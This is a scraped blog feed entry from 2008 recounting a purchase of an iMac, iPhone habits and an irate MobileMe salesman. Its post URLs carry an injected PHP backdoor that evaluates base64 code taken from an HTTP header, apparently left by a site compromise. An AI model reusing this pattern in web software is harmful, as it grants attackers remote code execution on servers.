Dorkgasm.net » General Dorkery http://dorkgasm.net Wasting our lives so you don't have to! Sat, 27 Sep 2008 15:41:25 +0000 http://wordpress.org/?v=2.8 en hourly 1 My iMac Experience http://dorkgasm.net/2008/08/11/my-imax-experience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://dorkgasm.net/2008/08/11/my-imax-experience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 11 Aug 2008 14:31:31 +0000 Rob http://dorkgasm.net/?p=28 This weekend I broke down and ended up buying the Mac that I’ve had my eye on for about a year now. There are a lot of reasons I could give that I wanted the Mac: Garage Band, ease of use, the beautiful screen, and many others. I mean, I’ve been wanting a digital recorder for my guitar for years now and with the Mac, I’ve got that now. The 24″ screen is just beautiful and makes my old monitor, a screen, a 19″ CRT I’ve been happily using for ten years now, look like total crap. And  yes, I finally bought into the Apple zombie’s moan of “It just works”. When I saw the demo of Pages in the store and saw how text would automatically wrap around the picture I inserted into the document, I knew that this was the realization of a promise computers had made to me a couple decades ago. This truly was the way that things were supposed to be on a computer.

Now, before you think I’ve totally baptized myself in the Apple Kool-Aid you should know that I still have three Windows PCs in the house. My wife is running a Core 2 Duo Vista machine, I’ve got a desktop with a Quad Core running Vista Ultimate, and my laptop is also brand new with Vista. This doesn’t even include my old storage box and retired laptop, both running XP. So no, I’m not ready to add Steve Jobs to my will, I just know that each of my machines does different things better than the other.

In truth, the iPhone is a gateway drug and don’t let anyone tell you differently. I got my first gen iPhone around October and loved it. It didn’t quite make my Zune obsolete due to storage capacity, but it came close. Nowadays the Zune is strictly for music while the iPhone is largely a podcast delivery system. But since I listen to podcasts more than music now, it gets way more use than the Zune. Then the iPhone 3G came and I felt like the device was finally living up to its full potential. I bought one and gave my old iPhone to my wife. She was dismissive of it at first but quickly became an addict. It is now rare to see her not doing something with it.

The reason I say all that is so I can tell this story. When I went to the store to get the iMac, the salesman starting telling me about the wonders of MobileMe. He does the full pitch, telling me how it will auto-sync my contact, give me 20GB of online storage, give me an email address, and let me upload pictures directly from my iPhone. I think he may have even mentioned it will bring me breakfast in bed, but I kind of zoned out. I told him I had a free trial and hadn’t really seen anything useful for me personally since I already have web hosting that provides a lot more than 20GB for a lot less than $99 a year. He makes a comment about how it is my loss and I’ll be missing out on a lot of cool stuff and I kind of chuckle. It turns out he wasn’t just goofing around, he got seriously angry at my dismissal of MobileMe. He turns very serious and starts telling me that he wasn’t joking and there’s tons of cool stuff it can do, but I won’t be able to do ANY of it!!! I guess he forgot I already had the free trial. Fortunately, I make it out of the store with my shiny new toy and go home to set it up.

Just a few minutes ago I started thinking, ‘What if that salesman was right? What if MobileMe is really that awesome?’ I remember his claims of how I would be able to access my files from any computer, Mac or PC, in the world, just from a web browser. Ok, I decide, let’s upload a picture from my phone and check it out. One small problem, though. I go to Me.com, only to get the following error:

MobileMe IE error

MobileMe IE error

So I guess not any computer in the world since I can’t install Firefox at work.

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